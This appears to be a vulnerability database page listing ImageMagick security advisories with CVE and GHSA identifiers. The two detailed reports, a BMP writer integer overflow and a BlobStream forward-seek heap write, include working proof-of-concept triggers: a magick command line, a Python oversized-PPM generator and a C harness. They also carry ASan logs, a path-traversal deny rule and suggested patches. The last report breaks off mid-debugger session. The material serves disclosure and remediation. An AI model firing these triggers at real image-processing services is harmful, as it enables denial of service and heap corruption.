| VCID-f6pf-5jnz-fkd1 | ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow ## Summary A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses `bytes_per_line` (stride) to a tiny value while the per-row writer still emits `3 × width` bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines. - **Impact:** Attacker-controlled heap out-of-bounds (OOB) write during conversion **to BMP**. - **Surface:** Typical upload → normalize/thumbnail → `magick ... out.bmp` workers. - **32-bit:** **Vulnerable** (reproduced with ASan). - **64-bit:** Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards. - **Proposed severity:** **Critical 9.8** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). --- ## Scope & Affected Builds - **Project:** ImageMagick (BMP writer path, `WriteBMPImage` in `coders/bmp.c`). - **Commit under test:** `3fcd081c0278427fc0e8ac40ef75c0a1537792f7` - **Version string from the run:** `ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712` - **Architecture:** 32-bit i686 (**`sizeof(size_t) == 4`**) with ASan/UBSan. - **Note on other versions:** Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit. --- ## Root Cause (with code anchors) ### Stride computation (writer) ```c bytes_per_line = 4 * ((image->columns * bmp_info.bits_per_pixel + 31) / 32); ``` ### Per-row base and 24-bpp loop (writer) ```c q = pixels + ((ssize_t)image->rows - y - 1) * (ssize_t)bytes_per_line; for (x = 0; x < (ssize_t)image->columns; x++) { *q++ = B(...); *q++ = G(...); *q++ = R(...); // writes 3 * width bytes } ``` ### Allocation (writer) ```c pixel_info = AcquireVirtualMemory(image->rows, MagickMax(bytes_per_line, image->columns + 256UL) * sizeof(*pixels)); pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info); ``` ### Dimension “caps” (insufficient) The writer rejects dimensions that don’t round-trip through `signed int`, but both overflow thresholds below are **≤ INT_MAX** on 32-bit, so the caps **do not prevent** the bug. --- ## Integer-Overflow Analysis (32-bit `size_t`) Stride formula for 24-bpp: ``` bytes_per_line = 4 * ((width * 24 + 31) / 32) ``` There are **two independent overflow hazards** on 32-bit: 1. **Stage-1 multiply+add** in `(width * 24 + 31)` Overflow iff `width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969` → at **width ≥ 178,956,970** the numerator wraps small before `/32`, producing a **tiny** `bytes_per_line`. 2. **Stage-2 final ×4** after the division Let `q = (width * 24 + 31) / 32`. Final `×4` overflows iff `q > 0x3FFFFFFF`. Solving gives **width ≥ 1,431,655,765 (0x55555555)**. Both thresholds are **below** `INT_MAX` (≈2.147e9), so “int caps” don’t help. **Mismatch predicate (guaranteed OOB when overflowed):** Per-row write for 24-bpp is `row_bytes = 3*width`. Safety requires `row_bytes ≤ bytes_per_line`. Under either overflow, `bytes_per_line` collapses → `3*width > bytes_per_line` holds → **OOB-write**. --- ## Concrete Demonstration Chosen width: **`W = 178,957,200`** (just over Stage-1 bound) - Stage-1: `24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32)` → **5535** - Divide by 32: `5535 / 32 = 172` - Multiply by 4: `bytes_per_line = 172 * 4 = **688** bytes` ← tiny stride - Per-row data (24-bpp): `row_bytes = 3*W = **536,871,600** bytes` - Allocation used: `MagickMax(688, W+256) = **178,957,456** bytes` - **Immediate OOB**: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes. --- ## Observed Result (ASan excerpt) ``` ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 in WriteBMPImage coders/bmp.c:2309 ... allocated by: AcquireVirtualMemory MagickCore/memory.c:747 WriteBMPImage coders/bmp.c:2092 ``` - Binary: **ELF 32-bit i386**, Q8, non-HDRI - Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro) --- ## Exploitability & Risk - **Primitive:** Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot. - **Control:** Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP). - **Likely deployment:** Server-side, non-interactive conversion pipelines (UI:N). - **Outcome:** At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to **RCE**. **Note on 64-bit:** Without integer overflow, `bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width`, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors. --- ## Reproduction (copy-paste triager script) **Test Environment:** - `docker run -it --rm --platform linux/386 debian:11 bash` - Install deps: `apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3` - Clone & checkout: ImageMagick `7.1.2-0` → commit `3fcd081c0278427f...` - Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary): ```bash ./configure \ --host=i686-pc-linux-gnu \ --build=x86_64-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined" make -j"$(nproc)" ``` - Runtime limits to exercise writer: ```bash export MAGICK_WIDTH_LIMIT=200000000 export MAGICK_HEIGHT_LIMIT=200000000 export MAGICK_TEMPORARY_PATH=/tmp export TMPDIR=/tmp export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0" ``` **One-liner trigger (no input file):** ```bash W=178957200 ./utilities/magick \ -limit width 200000000 -limit height 200000000 \ -limit memory 268435456 -limit map 0 -limit disk 200000000000 \ -limit thread 1 \ -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null ``` **Expected:** ASan heap-buffer-overflow in `WriteBMPImage` (will be provided in a private gist link). **Alternate PoC (raw PPM generator):** ```python #!/usr/bin/env python3 W, H, MAXV = 180_000_000, 1, 255 # W > 178,956,969 with open("huge.ppm", "wb") as f: f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii")) chunk = (b"\x41\x42\x43") * (1024*1024) remaining = 3 * W while remaining: n = min(remaining, len(chunk)) f.write(chunk[:n]); remaining -= n # Then: magick huge.ppm out.bmp ``` --- ## Proposed Severity - **Primary vector (server auto-convert):** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` → **9.8 Critical** - **If strictly CLI/manual conversion:** `UI:R` → **8.8 High** --- ## Maintainer Pushbacks — Pre-empted - **“MagickMax makes allocation large.”** The row **base** advances by **overflowed `bytes_per_line`**, causing row overlap and eventual region exit regardless of total allocation size. - **“We’re 64-bit only.”** Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS. - **“Resource policy blocks large images.”** That’s environment-dependent defense-in-depth; arithmetic must be correct. --- ## Remediation (Summary) Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (row_bytes) always fits within the computed stride (bytes_per_line). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds. Concretely: - Validate width and bits_per_pixel before the stride formula to ensure (width*bpp + 31) cannot overflow a size_t. - Compute row_bytes for the chosen bpp and assert row_bytes <= bytes_per_line. - Bound rows * stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow. A full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers). --- ## Regression Tests to Include (PR-friendly) 1. **32-bit overflow repros** (with ASan): - `rows=1`, `width ≥ 178,956,970`, `bpp=24` → now cleanly errors. - `rows=2`, same bound → no row overlap; clean error. 2. **64-bit sanity:** Medium images (e.g., `8192×4096`, 24-bpp) round-trip; header’s `biSizeImage = rows * bytes_per_line`. 3. **Packed bpp (1/4/8):** Validate `row_bytes = (width*bpp+7)/8` (guarded), 4-pad, and **payload ≤ stride** holds. --- ## Attachments (private BMP_Package) Provided with report: README.md, poc_ppm_generator.py, repro_commands.sh, full_asan_bmp_crash.txt, appendix_a_patch_block.c. (Private gist link with package provided separately.) --- ## Disclosure & Coordination - **Reporter:** Lumina Mescuwa - **Tested on:** i686 Linux container (details in Repro) - **Timeline:** August 19th, 2025 --- ## Appendices ### Appendix A — Patch block tailored to `bmp.c` **Where this hooks in (current code):** - Stride is computed here: `bytes_per_line=4*((image->columns*bmp_info.bits_per_pixel+31)/32);` - Header uses `bmp_info.image_size=(unsigned int) (bytes_per_line*image->rows);` - Allocation uses `AcquireVirtualMemory(image->rows, MagickMax(bytes_per_line, image->columns+256UL)*sizeof(*pixels));` - 24-bpp row loop writes pixels then zero-pads up to `bytes_per_line` (so the per-row slot size matters): `for (x=3L*(ssize_t)image->columns; x < (ssize_t)bytes_per_line; x++) *q++=0x00;` --- ## Suggested Patch (minimal surface, guards + invariant) I recommend this **in place of** the existing `bytes_per_line` assignment and the subsequent `bmp_info.image_size` / allocation block. Keep your macros and local variables as-is. ```c /* --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- */ /* 1) Guard the original stride arithmetic (preserve behavior, add checks). */ if (bmp_info.bits_per_pixel == 0 || (size_t)image->columns > (SIZE_MAX - 31) / (size_t)bmp_info.bits_per_pixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); size_t _tmp = (size_t)image->columns * (size_t)bmp_info.bits_per_pixel + 31; /* Divide first; then check the final ×4 won't overflow. */ _tmp /= 32; if (_tmp > (SIZE_MAX / 4)) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); bytes_per_line = 4 * _tmp; /* same formula as before, now checked */ /* 2) Compute the actual data bytes written per row for the chosen bpp. */ size_t row_bytes; if (bmp_info.bits_per_pixel == 1 || bmp_info.bits_per_pixel == 4 || bmp_info.bits_per_pixel == 8) { /* packed: ceil(width*bpp/8) */ if ((size_t)image->columns > (SIZE_MAX - 7) / (size_t)bmp_info.bits_per_pixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); row_bytes = (((size_t)image->columns * (size_t)bmp_info.bits_per_pixel) + 7) >> 3; } else { /* 16/24/32 bpp: (bpp/8) * width */ size_t bpp_bytes = (size_t)bmp_info.bits_per_pixel / 8; if (bpp_bytes == 0 || (size_t)image->columns > SIZE_MAX / bpp_bytes) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); row_bytes = bpp_bytes * (size_t)image->columns; } /* 3) Per-row safety invariant: the payload must fit the stride. */ if (row_bytes > bytes_per_line) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed"); /* 4) Guard header size and allocation products. */ if ((size_t)image->rows == 0) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); /* biSizeImage = rows * bytes_per_line (DIB field is 32-bit) */ if (bytes_per_line > 0xFFFFFFFFu / (size_t)image->rows) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); bmp_info.image_size = (unsigned int)(bytes_per_line * (size_t)image->rows); /* Allocation count = rows * stride_used, with existing MagickMax policy. */ size_t _stride = MagickMax(bytes_per_line, (size_t)image->columns + 256UL); if (_stride > SIZE_MAX / (size_t)image->rows) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed"); pixel_info = AcquireVirtualMemory((size_t)image->rows, _stride * sizeof(*pixels)); if (pixel_info == (MemoryInfo *) NULL) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed"); pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info); /* Optional: keep zeroing aligned to computed header size. */ (void) memset(pixels, 0, (size_t) bmp_info.image_size); /* --- PATCH END --- */ ``` ### Why this is the right spot? - It **replaces** the unguarded stride line you currently have, without changing the algorithm (still `4*((W*bpp+31)/32)`). - It **fixes the header** (`biSizeImage`) to be a checked product, instead of a potentially wrapped multiplication. - It **guards allocation** where you presently allocate `rows × MagickMax(bytes_per_line, columns+256)`. - The invariant `row_bytes ≤ bytes_per_line` ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to `bytes_per_line`) can never exceed the per-row slot the code relies on. --- ## Notes - **Behavior preserved**: The stride value for normal images is unchanged; only pathological integer states are rejected. - **Header consistency**: `biSizeImage = rows * bytes_per_line` remains true by construction, but now cannot overflow a 32-bit DIB field. - **Defensive alignment**: If you prefer, you can compute `bytes_per_line` as `((row_bytes + 3) & ~3U)`; it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff. A slightly larger “helpers” variant (with `safe_mul_size` / `safe_add_size` utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths. ### Appendix B — Arithmetic Worked Example (W=178,957,200) - `(24W + 31) mod 2^32 = 5535` - `bytes_per_line = 4 * (5535/32) = 688` - `row_bytes (24-bpp) = 536,871,600` - Allocation via `MagickMax = 178,957,456` → immediate row 0 out-of-bounds. ### Appendix C — Raw ASan Log (trimmed) ``` ================================================================= ==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 at 0x6eaac490 thread T0 #0 0xed2788 in WriteBMPImage coders/bmp.c:2309 #1 0x13da32c in WriteImage MagickCore/constitute.c:1342 #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564 0x6eaac490 is located 0 bytes to the right of 178957456-byte region allocated by thread T0 here: #0 0x408e30ab in __interceptor_posix_memalign #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747 #2 0xecd597 in WriteBMPImage coders/bmp.c:2092 ``` |
CVE-2025-57803
GHSA-mxvv-97wh-cfmm |
| VCID-fnck-7mvx-hqc9 | ImageMagick has a heap Buffer Over-read in its DJVU image format handler A heap Buffer Over-read vulnerability exists in the DJVU image format handler. The vulnerability occurs due to integer truncation when calculating the stride (row size) for pixel buffer allocation. The stride calculation overflows a 32-bit signed integer, resulting in an out-of-bounds memory reads. |
CVE-2026-27799
GHSA-r99p-5442-q2x2 |
| VCID-g41y-dv8u-3yf1 | ImageMagick has Heap Buffer Overflow in WaveletDenoiseImage A crafted image could cause an out of bounds heap write inside the WaveletDenoiseImage method. When processing a crafted image with the -wavelet-denoise operation an out of bounds write can occur. ``` ================================================================= ==661320==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000002754 at pc 0x5ff45f82c92a bp 0x7fffb732b400 sp 0x7fffb732b3f0 WRITE of size 4 at 0x503000002754 thread T0 ``` |
CVE-2026-30936
GHSA-5ggv-92r5-cp4p |
| VCID-g679-q851-xub7 | ImageMagick: stack-based buffer overflow in sixel encoder |
CVE-2026-32259
|
| VCID-g9xf-han8-6qgs | ImageMagick: ImageMagick: Denial of Service via integer overflow in SVG image processing |
CVE-2025-69204
|
| VCID-gdg8-aejn-83c4 | ImageMagick: Policy bypass through path traversal allows reading restricted content despite secured policy ImageMagick’s path security policy is enforced on the raw filename string before the filesystem resolves it. As a result, a policy rule such as /etc/* can be bypassed by a path traversal. The OS resolves the traversal and opens the sensitive file, but the policy matcher only sees the unnormalized path and therefore allows the read. This enables local file disclosure (LFI) even when policy-secure.xml is applied. Actions to prevent reading from files have been taken. But it make sure writing is also not possible the following should be added to your policy: ``` <policy domain="path" rights="none" pattern="*../*"/> ``` And this will also be included in the project's more secure policies by default. |
CVE-2026-25965
GHSA-8jvj-p28h-9gm7 |
| VCID-h221-qd8d-tqa5 | ImageMagick has a NULL pointer dereference in MSL parser via <comment> tag before image load ## Summary NULL pointer dereference in MSL (Magick Scripting Language) parser when processing `<comment>` tag before any image is loaded. ## Version - ImageMagick 7.x (tested on current main branch) - Commit: HEAD ## Steps to Reproduce ### Method 1: Using ImageMagick directly ```bash magick MSL:poc.msl out.png ``` ### Method 2: Using OSS-Fuzz reproduce ```bash python3 infra/helper.py build_fuzzers imagemagick python3 infra/helper.py reproduce imagemagick msl_fuzzer poc.msl ``` Or run the fuzzer directly: ```bash ./msl_fuzzer poc.msl ``` ## Expected Behavior ImageMagick should handle the malformed MSL gracefully and return an error message. ## Actual Behavior ``` convert: MagickCore/property.c:297: MagickBooleanType DeleteImageProperty(Image *, const char *): Assertion `image != (Image *) NULL' failed. Aborted ``` ## Root Cause Analysis In `coders/msl.c:7091`, `MSLEndElement()` calls `DeleteImageProperty()` on `msl_info->image[n]` when handling the `</comment>` end tag without checking if the image is NULL: ```c if (LocaleCompare((const char *) tag,"comment") == 0 ) { (void) DeleteImageProperty(msl_info->image[n],"comment"); // No NULL check ... } ``` When `<comment>` appears before any `<read>` operation, `msl_info->image[n]` is NULL, causing the assertion failure in `DeleteImageProperty()` at `property.c:297`. ## Impact - **DoS**: Crash via assertion failure (debug builds) or NULL pointer dereference (release builds) - **Affected**: Any application using ImageMagick to process user-supplied MSL files ## Fuzzer This issue was discovered using a custom MSL fuzzer: ```cpp #include <cstdint> #include <Magick++/Blob.h> #include <Magick++/Image.h> #include "utils.cc" extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { if (IsInvalidSize(Size)) return(0); try { const Magick::Blob blob(Data, Size); Magick::Image image; image.magick("MSL"); image.fileName("MSL:"); image.read(blob); } catch (Magick::Exception) { } return(0); } ``` This issue was found by Team FuzzingBrain @ Texas A&M University |
CVE-2026-23952
GHSA-5vx3-wx4q-6cj8 |
| VCID-jc5m-7rvc-2qg6 | ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte. |
CVE-2026-32636
GHSA-gc62-2v5p-qpmp |
| VCID-jcjk-s89c-mbbm | ImageMagick: Invalid MSL <map> can result in a use after free The MSL interpreter crashes when processing a invalid `<map>` element that causes it to use an image after it has been freed. |
CVE-2026-26983
GHSA-w8mw-frc6-r7m8 |
| VCID-jtkv-nvan-jbag | ImageMagick has Integer Overflow in BMP Decoder (ReadBMP) CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but **the fix is incomplete and ineffective**. The latest version **7.1.2-5 remains vulnerable** to the same integer overflow attack. The patch added `BMPOverflowCheck()` but placed it **after** the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS. **Affected Versions:** - ImageMagick < 7.1.2-2 (originally reported) - **ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)** **Platform and Configuration Requirements:** - 32-bit systems ONLY (i386, i686, armv7l, etc.) - Requires `size_t = 4 bytes`. (64-bit systems are **NOT vulnerable** (size_t = 8 bytes)) - Requires modified resource limits: The default `width`, `height`, and `area` limits must have been manually increased (Systems using default ImageMagick resource limits are **NOT vulnerable**). --- |
CVE-2025-62171
GHSA-9pp9-cfwx-54rm |
| VCID-jvq6-xjbu-fkb9 | ImageMagick: Infinite loop vulnerability when parsing a PCD file When a PCD file does not contain a valid marker, the DecodeImage() function becomes trapped in an infinite loop while searching for the marker, causing the program to become unresponsive and continuously consume CPU resources, ultimately leading to system resource exhaustion and denial of service. |
CVE-2026-24485
GHSA-pqgj-2p96-rx85 |
| VCID-kefv-kpkk-wudf | ImageMagick has Division-by-Zero in YUV sampling factor validation, which leads to crash A logic error in YUV sampling factor validation allows an invalid sampling factor to bypass checks and trigger a division-by-zero during image loading, resulting in a reliable denial-of-service. ``` coders/yuv.c:210:47: runtime error: division by zero AddressSanitizer:DEADLYSIGNAL ================================================================= ==3543373==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x55deeb4d723c bp 0x7fffc28d34d0 sp 0x7fffc28d3320 T0) #0 0x55deeb4d723c in ReadYUVImage coders/yuv.c:210 #1 0x55deeb751dff in ReadImage MagickCore/constitute.c:743 #2 0x55deeb756374 in ReadImages MagickCore/constitute.c:1082 #3 0x55deec682375 in CLINoImageOperator MagickWand/operation.c:4959 #4 0x55deec6887ed in CLIOption MagickWand/operation.c:5473 #5 0x55deec32843b in ProcessCommandOptions MagickWand/magick-cli.c:653 #6 0x55deec32b99b in MagickImageCommand MagickWand/magick-cli.c:1392 #7 0x55deec324d58 in MagickCommandGenesis MagickWand/magick-cli.c:177 #8 0x55deead82519 in MagickMain utilities/magick.c:162 #9 0x55deead828be in main utilities/magick.c:193 #10 0x7fb90807fd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #11 0x7fb90807fe3f in __libc_start_main_impl ../csu/libc-start.c:392 #12 0x55deead81974 in _start (/data/ylwang/LargeScan/targets/ImageMagick/utilities/magick+0x22fb974) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: UNKNOWN SIGNAL coders/yuv.c:210 in ReadYUVImage ==3543373==ABORTING ``` |
CVE-2026-25799
GHSA-543g-8grm-9cw6 |
| VCID-mxg1-261s-nbds | ImageMagick BlobStream Forward-Seek Under-Allocation **Reporter:** Lumina Mescuwa **Product:** ImageMagick 7 (MagickCore) **Component:** `MagickCore/blob.c` (Blob I/O - BlobStream) **Tested:** 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI **Impact:** Heap out-of-bounds **WRITE** (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution --- ## Executive Summary For memory-backed blobs (**BlobStream**), [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) permits advancing the stream **offset** beyond the current end without increasing capacity. The subsequent [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) then expands by **`quantum + length`** (amortized) instead of **`offset + length`**, and copies to `data + offset`. When `offset ≫ extent`, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required. --- ## Affected Scope - **Versions confirmed:** 7.1.2-0, 7.1.2-1 - **Architectures:** Observed on macOS arm64; architecture-agnostic on LP64 - Paths: MagickCore blob subsystem — **BlobStream** ([`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) and [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)). - **Not required:** External delegates; special policies; integer wraparound --- ## Technical Root Cause **Types (LP64):** `offset: MagickOffsetType` (signed 64-bit) `extent/length/quantum: size_t` (unsigned 64-bit) `data: unsigned char*` **Contract mismatch:** - [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) (BlobStream) updates `offset` to arbitrary positions, including past end, **without** capacity adjustment. - [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) tests `offset + length >= extent` and grows **by** `length + quantum`, doubles `quantum`, reallocates to `extent + 1`, then: ``` q = data + (size_t)offset; memmove(q, src, length); ``` There is **no guarantee** that `extent ≥ offset + length` post-growth. With `offset ≫ extent`, `q` is beyond the allocation. **Wrap-free demonstration:** Initialize `extent=1`, write one byte (`offset=1`), seek to `0x10000000` (256 MiB), then write 3–4 bytes. Growth remains << `offset + length`; the copy overruns the heap buffer. --- ## Exploitability & Reachability - **Primitive:** Controlled bytes written at a controlled displacement from the buffer base. - **Reachability:** Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract **permits** it, thus creating a latent sink for first- or third-party encoders/writers. - **Determinism:** Once a forward seek past end occurs, the first subsequent write reliably corrupts memory. --- ## Impact Assessment - **Integrity:** High - adjacent object/metadata overwrite plausible. - **Availability:** High - reliably crashable (ASan and non-ASan). - **Confidentiality:** High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process. - **RCE plausibility:** Typical of heap OOB writes in long-lived image services; allocator/layout dependent. --- ## CVSS v3.1 Rationale (9.8) - **AV:N / PR:N / UI:N** - server-side image processing is commonly network-reachable without auth or user action. - **AC:L** - a single forward seek + write suffices; no races or specialized state. - **S:U** - corruption localized to the ImageMagick process. - **C:H / I:H / A:H** - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service). _Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics._ --- ## Violated Invariant > **Before copying `length` bytes at `offset`, enforce `extent ≥ offset + length` with overflow-checked arithmetic.** The BlobStream growth policy preserves amortized efficiency but fails to enforce this **per-write** safety invariant. --- ## Remediation (Principle) In [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) (BlobStream case): 1. **Checked requirement:** `need = (size_t)offset + length;` → if `need < (size_t)offset`, overflow → fail. 2. **Ensure capacity ≥ need:** `target = MagickMax(extent + quantum + length, need);` (Optionally loop, doubling `quantum`, until `extent ≥ need` to preserve amortization.) 3. **Reallocate to `target + 1` before copying;** then perform the move. **Companion hardening (recommended):** - Document or restrict [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant. - Centralize blob arithmetic in checked helpers. - Unit tests: forward-seek-then-write (success and overflow-reject). --- ## Regression & Compatibility - **Behavior change:** Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail). - **Memory profile:** Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams. --- ## Vendor Verification Checklist - Reproduce with a minimal in-memory BlobStream harness under ASan. - Apply fix; verify `extent ≥ offset + length` at all write sites. - Add forward-seek test cases (positive/negative). - Audit other growth sites (`SetBlobExtent`, stream helpers). - Clarify BlobStream seek semantics in documentation. - Unit test: forward seek to large offset on **BlobStream** followed by 1–8 byte writes; assert either growth to `need` or clean failure. --- # PoC / Reproduction / Notes ## Environment - **OS/Arch:** macOS 14 (arm64) - **Compiler:** clang-17 with AddressSanitizer - **ImageMagick:** Q16-HDRI - **Prefix:** `~/opt/im-7.1.2-0` - **`pkg-config`:** from PATH (no hard-coded `/usr/local/...`) --- ## Build ImageMagick 7.1.2-0 (static, minimal) ```bash ./configure --prefix="$HOME/opt/im-7.1.2-0" --enable-hdri --with-quantum-depth=16 \ --disable-shared --enable-static --without-modules \ --without-magick-plus-plus --disable-openmp --without-perl \ --without-x --without-lqr --without-gslib make -j"$(sysctl -n hw.ncpu)" make install "$HOME/opt/im-7.1.2-0/bin/magick" -version > magick_version.txt ``` --- ## Build & Run the PoC (memory-backed BlobStream) **`poc.c`:** _Uses private headers (`blob-private.h`) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage._ ```c // poc.c #include <stdio.h> #include <stdlib.h> #include <MagickCore/MagickCore.h> #include <MagickCore/blob.h> #include "MagickCore/blob-private.h" int main(int argc, char **argv) { MagickCoreGenesis(argv[0], MagickTrue); ExceptionInfo *e = AcquireExceptionInfo(); ImageInfo *ii = AcquireImageInfo(); Image *im = AcquireImage(ii, e); if (!im) return 1; // 1-byte memory blob → BlobStream unsigned char *buf = (unsigned char*) malloc(1); buf[0] = 0x41; AttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0 SetBlobExempt(im, MagickTrue); // don't free our malloc'd buf // Step 1: write 1 byte (creates BlobInfo + sets offset=1) unsigned char A = 0x42; (void) WriteBlob(im, 1, &A); fprintf(stderr, "[+] after 1 byte: off=%lld len=%zu\n", (long long) TellBlob(im), (size_t) GetBlobSize(im)); // Step 2: seek way past end without growing capacity const MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB (void) SeekBlob(im, big, SEEK_SET); fprintf(stderr, "[+] after seek: off=%lld len=%zu\n", (long long) TellBlob(im), (size_t) GetBlobSize(im)); // Step 3: small write → reallocation grows by quantum+length, not to offset+length // memcpy then writes to data + offset (OOB) const unsigned char payload[] = "PWN"; (void) WriteBlob(im, sizeof(payload), payload); // If we get here, it didn't crash fprintf(stderr, "[-] no crash; check ASan flags.\n"); (void) CloseBlob(im); DestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e); MagickCoreTerminus(); return 0; } ``` --- `run:` ```bash # Use the private prefix for pkg-config export PKG_CONFIG_PATH="$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH" # Strict ASan for crisp failure export ASAN_OPTIONS='halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0' # Compile (static link pulls transitive deps via --static) clang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \ $(pkg-config --cflags MagickCore-7.Q16HDRI) \ $(pkg-config --static --libs MagickCore-7.Q16HDRI) # Execute and capture ./poc 2>&1 | tee asan.log ``` **Expected markers prior to the fault:** ``` [+] after 1 byte: off=1 len=1 [+] after seek: off=268435456 len=1 ``` An ASan **WRITE** crash in [`WriteBlob`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) follows (top frames: `WriteBlob blob.c:<line>`, then `_platform_memmove` / `__sanitizer_internal_memmove`). --- ## Debugger Verification (manual) LLDB can be used to snapshot the invariants; ASan alone is sufficient. ``` lldb ./poc (lldb) settings set use-color false (lldb) break set -n WriteBlob (lldb) run # First stop (prime write) (lldb) frame var length (lldb) frame var image->blob->type image->blob->offset 